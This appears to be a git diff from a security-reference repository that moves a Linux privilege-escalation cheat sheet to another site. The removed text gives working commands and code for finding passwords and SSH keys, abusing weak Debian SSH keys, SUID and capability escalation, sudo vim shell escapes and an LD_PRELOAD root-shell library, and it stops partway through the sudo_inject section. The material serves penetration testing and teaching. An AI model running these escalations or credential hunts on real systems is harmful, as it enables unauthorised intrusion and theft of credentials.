* [Event Triggered Execution: .bash_profile and .bashrc](https://attack.mitre.org/techniques/T1546/004/)
|
|
||||||
* [External Remote Services](https://attack.mitre.org/techniques/T1133/)
|
|
||||||
* [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574/)
|
|
||||||
* [Hijack Execution Flow: LD_PRELOAD](https://attack.mitre.org/techniques/T1574/006/)
|
|
||||||
* [Pre-OS Boot](https://attack.mitre.org/techniques/T1542/)
|
|
||||||
* [Pre-OS Boot: Bootkit](https://attack.mitre.org/techniques/T1542/003/)
|
|
||||||
* [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053/)
|
|
||||||
* [Scheduled Task/Job: At (Linux)](https://attack.mitre.org/techniques/T1053/001/)
|
|
||||||
* [Scheduled Task/Job: Cron](https://attack.mitre.org/techniques/T1053/003/)
|
|
||||||
* [Server Software Component](https://attack.mitre.org/techniques/T1505/)
|
|
||||||
* [Server Software Component: SQL Stored Procedures](https://attack.mitre.org/techniques/T1505/001/)
|
|
||||||
* [Server Software Component: Transport Agent](https://attack.mitre.org/techniques/T1505/002/)
|
|
||||||
* [Server Software Component: Web Shell](https://attack.mitre.org/techniques/T1505/003/)
|
|
||||||
* [Traffic Signaling](https://attack.mitre.org/techniques/T1205/)
|
|
||||||
* [Traffic Signaling: Port Knocking](https://attack.mitre.org/techniques/T1205/001/)
|
|
||||||
* [Valid Accounts: Default Accounts](https://attack.mitre.org/techniques/T1078/001/)
|
|
||||||
* [Valid Accounts: Domain Accounts 2](https://attack.mitre.org/techniques/T1078/002/)
|
|
||||||
|
|
||||||
## References
|
|
||||||
|
|
||||||
* [@RandoriSec - https://twitter.com/RandoriSec/status/1036622487990284289](https://twitter.com/RandoriSec/status/1036622487990284289)
|
|
||||||
* [https://blogs.gnome.org/muelli/2009/06/g0t-r00t-pwning-a-machine/](https://blogs.gnome.org/muelli/2009/06/g0t-r00t-pwning-a-machine/)
|
|
||||||
* [http://turbochaos.blogspot.com/2013/09/linux-rootkits-101-1-of-3.html](http://turbochaos.blogspot.com/2013/09/linux-rootkits-101-1-of-3.html)
|
|
||||||
* [http://www.jakoblell.com/blog/2014/05/07/hacking-contest-rootkit/](http://www.jakoblell.com/blog/2014/05/07/hacking-contest-rootkit/)
|
|
||||||
* [Pouki from JDI](#no_source_code)
|
|
||||||
@@ -1,832 +1,50 @@
|
|||||||
# Linux - Privilege Escalation
|
# Linux - Privilege Escalation
|
||||||
|
|
||||||
## Summary
|
:warning: Content of this page has been moved to [InternalAllTheThings/redteam/persistence/linux-persistence](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/)
|
||||||
|
|
||||||
* [Tools](#tools)
|
- [Tools](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#tools)
|
||||||
* [Checklist](#checklists)
|
- [Checklist](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#checklists)
|
||||||
* [Looting for passwords](#looting-for-passwords)
|
- [Looting for passwords](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#looting-for-passwords)
|
||||||
* [Files containing passwords](#files-containing-passwords)
|
- [Files containing passwords](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#files-containing-passwords)
|
||||||
* [Old passwords in /etc/security/opasswd](#old-passwords-in-etcsecurityopasswd)
|
- [Old passwords in /etc/security/opasswd](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#old-passwords-in-etcsecurityopasswd)
|
||||||
* [Last edited files](#last-edited-files)
|
- [Last edited files](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#last-edited-files)
|
||||||
* [In memory passwords](#in-memory-passwords)
|
- [In memory passwords](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#in-memory-passwords)
|
||||||
* [Find sensitive files](#find-sensitive-files)
|
- [Find sensitive files](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#find-sensitive-files)
|
||||||
* [SSH Key](#ssh-key)
|
- [SSH Key](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#ssh-key)
|
||||||
* [Sensitive files](#sensitive-files)
|
- [Sensitive files](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#sensitive-files)
|
||||||
* [SSH Key Predictable PRNG (Authorized_Keys) Process](#ssh-key-predictable-prng-authorized_keys-process)
|
- [SSH Key Predictable PRNG (Authorized_Keys) Process](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#ssh-key-predictable-prng-authorized_keys-process)
|
||||||
* [Scheduled tasks](#scheduled-tasks)
|
- [Scheduled tasks](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#scheduled-tasks)
|
||||||
* [Cron jobs](#cron-jobs)
|
- [Cron jobs](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#cron-jobs)
|
||||||
* [Systemd timers](#systemd-timers)
|
- [Systemd timers](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#systemd-timers)
|
||||||
* [SUID](#suid)
|
- [SUID](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#suid)
|
||||||
* [Find SUID binaries](#find-suid-binaries)
|
- [Find SUID binaries](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#find-suid-binaries)
|
||||||
* [Create a SUID binary](#create-a-suid-binary)
|
- [Create a SUID binary](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#create-a-suid-binary)
|
||||||
* [Capabilities](#capabilities)
|
- [Capabilities](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#capabilities)
|
||||||
* [List capabilities of binaries](#list-capabilities-of-binaries)
|
- [List capabilities of binaries](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#list-capabilities-of-binaries)
|
||||||
* [Edit capabilities](#edit-capabilities)
|
- [Edit capabilities](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#edit-capabilities)
|
||||||
* [Interesting capabilities](#interesting-capabilities)
|
- [Interesting capabilities](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#interesting-capabilities)
|
||||||
* [SUDO](#sudo)
|
- [SUDO](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#sudo)
|
||||||
* [NOPASSWD](#nopasswd)
|
- [NOPASSWD](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#nopasswd)
|
||||||
* [LD_PRELOAD and NOPASSWD](#ld_preload-and-nopasswd)
|
- [LD_PRELOAD and NOPASSWD](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#ld_preload-and-nopasswd)
|
||||||
* [Doas](#doas)
|
- [Doas](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#doas)
|
||||||
* [sudo_inject](#sudo_inject)
|
- [sudo_inject](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#sudo_inject)
|
||||||
* [CVE-2019-14287](#cve-2019-14287)
|
- [CVE-2019-14287](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#cve-2019-14287)
|
||||||
* [GTFOBins](#gtfobins)
|
- [GTFOBins](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#gtfobins)
|
||||||
* [Wildcard](#wildcard)
|
- [Wildcard](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#wildcard)
|
||||||
* [Writable files](#writable-files)
|
- [Writable files](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#writable-files)
|
||||||
* [Writable /etc/passwd](#writable-etcpasswd)
|
- [Writable /etc/passwd](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#writable-etcpasswd)
|
||||||
* [Writable /etc/sudoers](#writable-etcsudoers)
|
- [Writable /etc/sudoers](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#writable-etcsudoers)
|
||||||
* [NFS Root Squashing](#nfs-root-squashing)
|
- [NFS Root Squashing](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#nfs-root-squashing)
|
||||||
* [Shared Library](#shared-library)
|
- [Shared Library](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#shared-library)
|
||||||
* [ldconfig](#ldconfig)
|
- [ldconfig](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#ldconfig)
|
||||||
* [RPATH](#rpath)
|
- [RPATH](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#rpath)
|
||||||
* [Groups](#groups)
|
- [Groups](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#groups)
|
||||||
* [Docker](#docker)
|
- [Docker](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#docker)
|
||||||
* [LXC/LXD](#lxclxd)
|
- [LXC/LXD](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#lxclxd)
|
||||||
* [Hijack TMUX session](#hijack-tmux-session)
|
- [Hijack TMUX session](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#hijack-tmux-session)
|
||||||
* [Kernel Exploits](#kernel-exploits)
|
- [Kernel Exploits](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#kernel-exploits)
|
||||||
* [CVE-2022-0847 (DirtyPipe)](#cve-2022-0847-dirtypipe)
|
- [CVE-2022-0847 (DirtyPipe)](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#cve-2022-0847-dirtypipe)
|
||||||
* [CVE-2016-5195 (DirtyCow)](#cve-2016-5195-dirtycow)
|
- [CVE-2016-5195 (DirtyCow)](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#cve-2016-5195-dirtycow)
|
||||||
* [CVE-2010-3904 (RDS)](#cve-2010-3904-rds)
|
- [CVE-2010-3904 (RDS)](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#cve-2010-3904-rds)
|
||||||
* [CVE-2010-4258 (Full Nelson)](#cve-2010-4258-full-nelson)
|
- [CVE-2010-4258 (Full Nelson)](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#cve-2010-4258-full-nelson)
|
||||||
* [CVE-2012-0056 (Mempodipper)](#cve-2012-0056-mempodipper)
|
- [CVE-2012-0056 (Mempodipper)](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#cve-2012-0056-mempodipper)
|
||||||
|
|
||||||
|
|
||||||
## Tools
|
|
||||||
|
|
||||||
There are many scripts that you can execute on a linux machine which automatically enumerate sytem information, processes, and files to locate privilege escelation vectors.
|
|
||||||
Here are a few:
|
|
||||||
|
|
||||||
- [LinPEAS - Linux Privilege Escalation Awesome Script](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS)
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
wget "https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh" -O linpeas.sh
|
|
||||||
curl "https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh" -o linpeas.sh
|
|
||||||
./linpeas.sh -a #all checks - deeper system enumeration, but it takes longer to complete.
|
|
||||||
./linpeas.sh -s #superfast & stealth - This will bypass some time consuming checks. In stealth mode Nothing will be written to the disk.
|
|
||||||
./linpeas.sh -P #Password - Pass a password that will be used with sudo -l and bruteforcing other users
|
|
||||||
```
|
|
||||||
|
|
||||||
- [LinuxSmartEnumeration - Linux enumeration tools for pentesting and CTFs](https://github.com/diego-treitos/linux-smart-enumeration)
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
wget "https://raw.githubusercontent.com/diego-treitos/linux-smart-enumeration/master/lse.sh" -O lse.sh
|
|
||||||
curl "https://raw.githubusercontent.com/diego-treitos/linux-smart-enumeration/master/lse.sh" -o lse.sh
|
|
||||||
./lse.sh -l1 # shows interesting information that should help you to privesc
|
|
||||||
./lse.sh -l2 # dump all the information it gathers about the system
|
|
||||||
```
|
|
||||||
|
|
||||||
- [LinEnum - Scripted Local Linux Enumeration & Privilege Escalation Checks](https://github.com/rebootuser/LinEnum)
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
./LinEnum.sh -s -k keyword -r report -e /tmp/ -t
|
|
||||||
```
|
|
||||||
|
|
||||||
- [BeRoot - Privilege Escalation Project - Windows / Linux / Mac](https://github.com/AlessandroZ/BeRoot)
|
|
||||||
- [linuxprivchecker.py - a Linux Privilege Escalation Check Script](https://github.com/sleventyeleven/linuxprivchecker)
|
|
||||||
- [unix-privesc-check - Automatically exported from code.google.com/p/unix-privesc-check](https://github.com/pentestmonkey/unix-privesc-check)
|
|
||||||
- [Privilege Escalation through sudo - Linux](https://github.com/TH3xACE/SUDO_KILLER)
|
|
||||||
|
|
||||||
|
|
||||||
## Checklists
|
|
||||||
|
|
||||||
* Kernel and distribution release details
|
|
||||||
* System Information:
|
|
||||||
* Hostname
|
|
||||||
* Networking details:
|
|
||||||
* Current IP
|
|
||||||
* Default route details
|
|
||||||
* DNS server information
|
|
||||||
* User Information:
|
|
||||||
* Current user details
|
|
||||||
* Last logged on users
|
|
||||||
* Shows users logged onto the host
|
|
||||||
* List all users including uid/gid information
|
|
||||||
* List root accounts
|
|
||||||
* Extracts password policies and hash storage method information
|
|
||||||
* Checks umask value
|
|
||||||
* Checks if password hashes are stored in /etc/passwd
|
|
||||||
* Extract full details for 'default' uid's such as 0, 1000, 1001 etc
|
|
||||||
* Attempt to read restricted files i.e. /etc/shadow
|
|
||||||
* List current users history files (i.e .bash_history, .nano_history, .mysql_history , etc.)
|
|
||||||
* Basic SSH checks
|
|
||||||
* Privileged access:
|
|
||||||
* Which users have recently used sudo
|
|
||||||
* Determine if /etc/sudoers is accessible
|
|
||||||
* Determine if the current user has Sudo access without a password
|
|
||||||
* Are known 'good' breakout binaries available via Sudo (i.e. nmap, vim etc.)
|
|
||||||
* Is root's home directory accessible
|
|
||||||
* List permissions for /home/
|
|
||||||
* Environmental:
|
|
||||||
* Display current $PATH
|
|
||||||
* Displays env information
|
|
||||||
* Jobs/Tasks:
|
|
||||||
* List all cron jobs
|
|
||||||
* Locate all world-writable cron jobs
|
|
||||||
* Locate cron jobs owned by other users of the system
|
|
||||||
* List the active and inactive systemd timers
|
|
||||||
* Services:
|
|
||||||
* List network connections (TCP & UDP)
|
|
||||||
* List running processes
|
|
||||||
* Lookup and list process binaries and associated permissions
|
|
||||||
* List inetd.conf/xined.conf contents and associated binary file permissions
|
|
||||||
* List init.d binary permissions
|
|
||||||
* Version Information (of the following):
|
|
||||||
* Sudo
|
|
||||||
* MYSQL
|
|
||||||
* Postgres
|
|
||||||
* Apache
|
|
||||||
* Checks user config
|
|
||||||
* Shows enabled modules
|
|
||||||
* Checks for htpasswd files
|
|
||||||
* View www directories
|
|
||||||
* Default/Weak Credentials:
|
|
||||||
* Checks for default/weak Postgres accounts
|
|
||||||
* Checks for default/weak MYSQL accounts
|
|
||||||
* Searches:
|
|
||||||
* Locate all SUID/GUID files
|
|
||||||
* Locate all world-writable SUID/GUID files
|
|
||||||
* Locate all SUID/GUID files owned by root
|
|
||||||
* Locate 'interesting' SUID/GUID files (i.e. nmap, vim etc)
|
|
||||||
* Locate files with POSIX capabilities
|
|
||||||
* List all world-writable files
|
|
||||||
* Find/list all accessible *.plan files and display contents
|
|
||||||
* Find/list all accessible *.rhosts files and display contents
|
|
||||||
* Show NFS server details
|
|
||||||
* Locate *.conf and *.log files containing keyword supplied at script runtime
|
|
||||||
* List all *.conf files located in /etc
|
|
||||||
* Locate mail
|
|
||||||
* Platform/software specific tests:
|
|
||||||
* Checks to determine if we're in a Docker container
|
|
||||||
* Checks to see if the host has Docker installed
|
|
||||||
* Checks to determine if we're in an LXC container
|
|
||||||
|
|
||||||
## Looting for passwords
|
|
||||||
|
|
||||||
### Files containing passwords
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
grep --color=auto -rnw '/' -ie "PASSWORD" --color=always 2> /dev/null
|
|
||||||
find . -type f -exec grep -i -I "PASSWORD" {} /dev/null \;
|
|
||||||
```
|
|
||||||
|
|
||||||
### Old passwords in /etc/security/opasswd
|
|
||||||
|
|
||||||
The `/etc/security/opasswd` file is used also by pam_cracklib to keep the history of old passwords so that the user will not reuse them.
|
|
||||||
|
|
||||||
:warning: Treat your opasswd file like your /etc/shadow file because it will end up containing user password hashes
|
|
||||||
|
|
||||||
|
|
||||||
### Last edited files
|
|
||||||
|
|
||||||
Files that were edited in the last 10 minutes
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
find / -mmin -10 2>/dev/null | grep -Ev "^/proc"
|
|
||||||
```
|
|
||||||
|
|
||||||
### In memory passwords
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
strings /dev/mem -n10 | grep -i PASS
|
|
||||||
```
|
|
||||||
|
|
||||||
### Find sensitive files
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
$ locate password | more
|
|
||||||
/boot/grub/i386-pc/password.mod
|
|
||||||
/etc/pam.d/common-password
|
|
||||||
/etc/pam.d/gdm-password
|
|
||||||
/etc/pam.d/gdm-password.original
|
|
||||||
/lib/live/config/0031-root-password
|
|
||||||
...
|
|
||||||
```
|
|
||||||
|
|
||||||
## SSH Key
|
|
||||||
|
|
||||||
### Sensitive files
|
|
||||||
|
|
||||||
```
|
|
||||||
find / -name authorized_keys 2> /dev/null
|
|
||||||
find / -name id_rsa 2> /dev/null
|
|
||||||
...
|
|
||||||
```
|
|
||||||
|
|
||||||
### SSH Key Predictable PRNG (Authorized_Keys) Process
|
|
||||||
|
|
||||||
This module describes how to attempt to use an obtained authorized_keys file on a host system.
|
|
||||||
|
|
||||||
Needed : SSH-DSS String from authorized_keys file
|
|
||||||
|
|
||||||
**Steps**
|
|
||||||
|
|
||||||
1. Get the authorized_keys file. An example of this file would look like so:
|
|
||||||
|
|
||||||
```
|
|
||||||
ssh-dss AAAA487rt384ufrgh432087fhy02nv84u7fg839247fg8743gf087b3849yb98304yb9v834ybf ... (snipped) ...
|
|
||||||
```
|
|
||||||
|
|
||||||
2. Since this is an ssh-dss key, we need to add that to our local copy of `/etc/ssh/ssh_config` and `/etc/ssh/sshd_config`:
|
|
||||||
|
|
||||||
```
|
|
||||||
echo "PubkeyAcceptedKeyTypes=+ssh-dss" >> /etc/ssh/ssh_config
|
|
||||||
echo "PubkeyAcceptedKeyTypes=+ssh-dss" >> /etc/ssh/sshd_config
|
|
||||||
/etc/init.d/ssh restart
|
|
||||||
```
|
|
||||||
|
|
||||||
3. Get [g0tmi1k's debian-ssh repository](https://github.com/g0tmi1k/debian-ssh) and unpack the keys:
|
|
||||||
|
|
||||||
```
|
|
||||||
git clone https://github.com/g0tmi1k/debian-ssh
|
|
||||||
cd debian-ssh
|
|
||||||
tar vjxf common_keys/debian_ssh_dsa_1024_x86.tar.bz2
|
|
||||||
```
|
|
||||||
|
|
||||||
4. Grab the first 20 or 30 bytes from the key file shown above starting with the `"AAAA..."` portion and grep the unpacked keys with it as:
|
|
||||||
|
|
||||||
```
|
|
||||||
grep -lr 'AAAA487rt384ufrgh432087fhy02nv84u7fg839247fg8743gf087b3849yb98304yb9v834ybf'
|
|
||||||
dsa/1024/68b329da9893e34099c7d8ad5cb9c940-17934.pub
|
|
||||||
```
|
|
||||||
|
|
||||||
5. IF SUCCESSFUL, this will return a file (68b329da9893e34099c7d8ad5cb9c940-17934.pub) public file. To use the private key file to connect, drop the '.pub' extension and do:
|
|
||||||
|
|
||||||
```
|
|
||||||
ssh -vvv victim@target -i 68b329da9893e34099c7d8ad5cb9c940-17934
|
|
||||||
```
|
|
||||||
|
|
||||||
And you should connect without requiring a password. If stuck, the `-vvv` verbosity should provide enough details as to why.
|
|
||||||
|
|
||||||
## Scheduled tasks
|
|
||||||
|
|
||||||
### Cron jobs
|
|
||||||
|
|
||||||
Check if you have access with write permission on these files.
|
|
||||||
Check inside the file, to find other paths with write permissions.
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
/etc/init.d
|
|
||||||
/etc/cron*
|
|
||||||
/etc/crontab
|
|
||||||
/etc/cron.allow
|
|
||||||
/etc/cron.d
|
|
||||||
/etc/cron.deny
|
|
||||||
/etc/cron.daily
|
|
||||||
/etc/cron.hourly
|
|
||||||
/etc/cron.monthly
|
|
||||||
/etc/cron.weekly
|
|
||||||
/etc/sudoers
|
|
||||||
/etc/exports
|
|
||||||
/etc/anacrontab
|
|
||||||
/var/spool/cron
|
|
||||||
/var/spool/cron/crontabs/root
|
|
||||||
|
|
||||||
crontab -l
|
|
||||||
ls -alh /var/spool/cron;
|
|
||||||
ls -al /etc/ | grep cron
|
|
||||||
ls -al /etc/cron*
|
|
||||||
cat /etc/cron*
|
|
||||||
cat /etc/at.allow
|
|
||||||
cat /etc/at.deny
|
|
||||||
cat /etc/cron.allow
|
|
||||||
cat /etc/cron.deny*
|
|
||||||
```
|
|
||||||
|
|
||||||
You can use [pspy](https://github.com/DominicBreuker/pspy) to detect a CRON job.
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
# print both commands and file system events and scan procfs every 1000 ms (=1sec)
|
|
||||||
./pspy64 -pf -i 1000
|
|
||||||
```
|
|
||||||
|
|
||||||
|
|
||||||
## Systemd timers
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
systemctl list-timers --all
|
|
||||||
NEXT LEFT LAST PASSED UNIT ACTIVATES
|
|
||||||
Mon 2019-04-01 02:59:14 CEST 15h left Sun 2019-03-31 10:52:49 CEST 24min ago apt-daily.timer apt-daily.service
|
|
||||||
Mon 2019-04-01 06:20:40 CEST 19h left Sun 2019-03-31 10:52:49 CEST 24min ago apt-daily-upgrade.timer apt-daily-upgrade.service
|
|
||||||
Mon 2019-04-01 07:36:10 CEST 20h left Sat 2019-03-09 14:28:25 CET 3 weeks 0 days ago systemd-tmpfiles-clean.timer systemd-tmpfiles-clean.service
|
|
||||||
|
|
||||||
3 timers listed.
|
|
||||||
```
|
|
||||||
|
|
||||||
## SUID
|
|
||||||
|
|
||||||
SUID/Setuid stands for "set user ID upon execution", it is enabled by default in every Linux distributions. If a file with this bit is ran, the uid will be changed by the owner one. If the file owner is `root`, the uid will be changed to `root` even if it was executed from user `bob`. SUID bit is represented by an `s`.
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
╭─swissky@lab ~
|
|
||||||
╰─$ ls /usr/bin/sudo -alh
|
|
||||||
-rwsr-xr-x 1 root root 138K 23 nov. 16:04 /usr/bin/sudo
|
|
||||||
```
|
|
||||||
|
|
||||||
### Find SUID binaries
|
|
||||||
|
|
||||||
```bash
|
|
||||||
find / -perm -4000 -type f -exec ls -la {} 2>/dev/null \;
|
|
||||||
find / -uid 0 -perm -4000 -type f 2>/dev/null
|
|
||||||
```
|
|
||||||
|
|
||||||
### Create a SUID binary
|
|
||||||
|
|
||||||
| Function | Description |
|
|
||||||
|------------|---|
|
|
||||||
| setreuid() | sets real and effective user IDs of the calling process |
|
|
||||||
| setuid() | sets the effective user ID of the calling process |
|
|
||||||
| setgid() | sets the effective group ID of the calling process |
|
|
||||||
|
|
||||||
|
|
||||||
```bash
|
|
||||||
print 'int main(void){\nsetresuid(0, 0, 0);\nsystem("/bin/sh");\n}' > /tmp/suid.c
|
|
||||||
gcc -o /tmp/suid /tmp/suid.c
|
|
||||||
sudo chmod +x /tmp/suid # execute right
|
|
||||||
sudo chmod +s /tmp/suid # setuid bit
|
|
||||||
```
|
|
||||||
|
|
||||||
|
|
||||||
## Capabilities
|
|
||||||
|
|
||||||
### List capabilities of binaries
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
╭─swissky@lab ~
|
|
||||||
╰─$ /usr/bin/getcap -r /usr/bin
|
|
||||||
/usr/bin/fping = cap_net_raw+ep
|
|
||||||
/usr/bin/dumpcap = cap_dac_override,cap_net_admin,cap_net_raw+eip
|
|
||||||
/usr/bin/gnome-keyring-daemon = cap_ipc_lock+ep
|
|
||||||
/usr/bin/rlogin = cap_net_bind_service+ep
|
|
||||||
/usr/bin/ping = cap_net_raw+ep
|
|
||||||
/usr/bin/rsh = cap_net_bind_service+ep
|
|
||||||
/usr/bin/rcp = cap_net_bind_service+ep
|
|
||||||
```
|
|
||||||
|
|
||||||
### Edit capabilities
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
/usr/bin/setcap -r /bin/ping # remove
|
|
||||||
/usr/bin/setcap cap_net_raw+p /bin/ping # add
|
|
||||||
```
|
|
||||||
|
|
||||||
### Interesting capabilities
|
|
||||||
|
|
||||||
Having the capability =ep means the binary has all the capabilities.
|
|
||||||
```powershell
|
|
||||||
$ getcap openssl /usr/bin/openssl
|
|
||||||
openssl=ep
|
|
||||||
```
|
|
||||||
|
|
||||||
Alternatively the following capabilities can be used in order to upgrade your current privileges.
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
cap_dac_read_search # read anything
|
|
||||||
cap_setuid+ep # setuid
|
|
||||||
```
|
|
||||||
|
|
||||||
Example of privilege escalation with `cap_setuid+ep`
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
$ sudo /usr/bin/setcap cap_setuid+ep /usr/bin/python2.7
|
|
||||||
|
|
||||||
$ python2.7 -c 'import os; os.setuid(0); os.system("/bin/sh")'
|
|
||||||
sh-5.0# id
|
|
||||||
uid=0(root) gid=1000(swissky)
|
|
||||||
```
|
|
||||||
|
|
||||||
| Capabilities name | Description |
|
|
||||||
|---|---|
|
|
||||||
| CAP_AUDIT_CONTROL | Allow to enable/disable kernel auditing |
|
|
||||||
| CAP_AUDIT_WRITE | Helps to write records to kernel auditing log |
|
|
||||||
| CAP_BLOCK_SUSPEND | This feature can block system suspends |
|
|
||||||
| CAP_CHOWN | Allow user to make arbitrary change to files UIDs and GIDs |
|
|
||||||
| CAP_DAC_OVERRIDE | This helps to bypass file read, write and execute permission checks |
|
|
||||||
| CAP_DAC_READ_SEARCH | This only bypass file and directory read/execute permission checks |
|
|
||||||
| CAP_FOWNER | This enables to bypass permission checks on operations that normally require the filesystem UID of the process to match the UID of the file |
|
|
||||||
| CAP_KILL | Allow the sending of signals to processes belonging to others |
|
|
||||||
| CAP_SETGID | Allow changing of the GID |
|
|
||||||
| CAP_SETUID | Allow changing of the UID |
|
|
||||||
| CAP_SETPCAP | Helps to transferring and removal of current set to any PID |
|
|
||||||
| CAP_IPC_LOCK | This helps to lock memory |
|
|
||||||
| CAP_MAC_ADMIN | Allow MAC configuration or state changes |
|
|
||||||
| CAP_NET_RAW | Use RAW and PACKET sockets |
|
|
||||||
| CAP_NET_BIND_SERVICE | SERVICE Bind a socket to internet domain privileged ports |
|
|
||||||
|
|
||||||
## SUDO
|
|
||||||
|
|
||||||
Tool: [Sudo Exploitation](https://github.com/TH3xACE/SUDO_KILLER)
|
|
||||||
|
|
||||||
### NOPASSWD
|
|
||||||
|
|
||||||
Sudo configuration might allow a user to execute some command with another user privileges without knowing the password.
|
|
||||||
|
|
||||||
```bash
|
|
||||||
$ sudo -l
|
|
||||||
|
|
||||||
User demo may run the following commands on crashlab:
|
|
||||||
(root) NOPASSWD: /usr/bin/vim
|
|
||||||
```
|
|
||||||
|
|
||||||
In this example the user `demo` can run `vim` as `root`, it is now trivial to get a shell by adding an ssh key into the root directory or by calling `sh`.
|
|
||||||
|
|
||||||
```bash
|
|
||||||
sudo vim -c '!sh'
|
|
||||||
sudo -u root vim -c '!sh'
|
|
||||||
```
|
|
||||||
|
|
||||||
### LD_PRELOAD and NOPASSWD
|
|
||||||
|
|
||||||
If `LD_PRELOAD` is explicitly defined in the sudoers file
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
Defaults env_keep += LD_PRELOAD
|
|
||||||
```
|
|
||||||
|
|
||||||
Compile the following shared object using the C code below with `gcc -fPIC -shared -o shell.so shell.c -nostartfiles`
|
|
||||||
|
|
||||||
```c
|
|
||||||
#include <stdio.h>
|
|
||||||
#include <sys/types.h>
|
|
||||||
#include <stdlib.h>
|
|
||||||
#include <unistd.h>
|
|
||||||
void _init() {
|
|
||||||
unsetenv("LD_PRELOAD");
|
|
||||||
setgid(0);
|
|
||||||
setuid(0);
|
|
||||||
system("/bin/sh");
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
Execute any binary with the LD_PRELOAD to spawn a shell : `sudo LD_PRELOAD=<full_path_to_so_file> <program>`, e.g: `sudo LD_PRELOAD=/tmp/shell.so find`
|
|
||||||
|
|
||||||
### Doas
|
|
||||||
|
|
||||||
There are some alternatives to the `sudo` binary such as `doas` for OpenBSD, remember to check its configuration at `/etc/doas.conf`
|
|
||||||
|
|
||||||
```bash
|
|
||||||
permit nopass demo as root cmd vim
|
|
||||||
```
|
|
||||||
|
|
||||||
### sudo_inject
|
|
||||||
|
|
||||||
Using [https://github.com/nongiach/sudo_inject](https://github.com/nongiach/sudo_inject)
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
$ sudo whatever
|
|
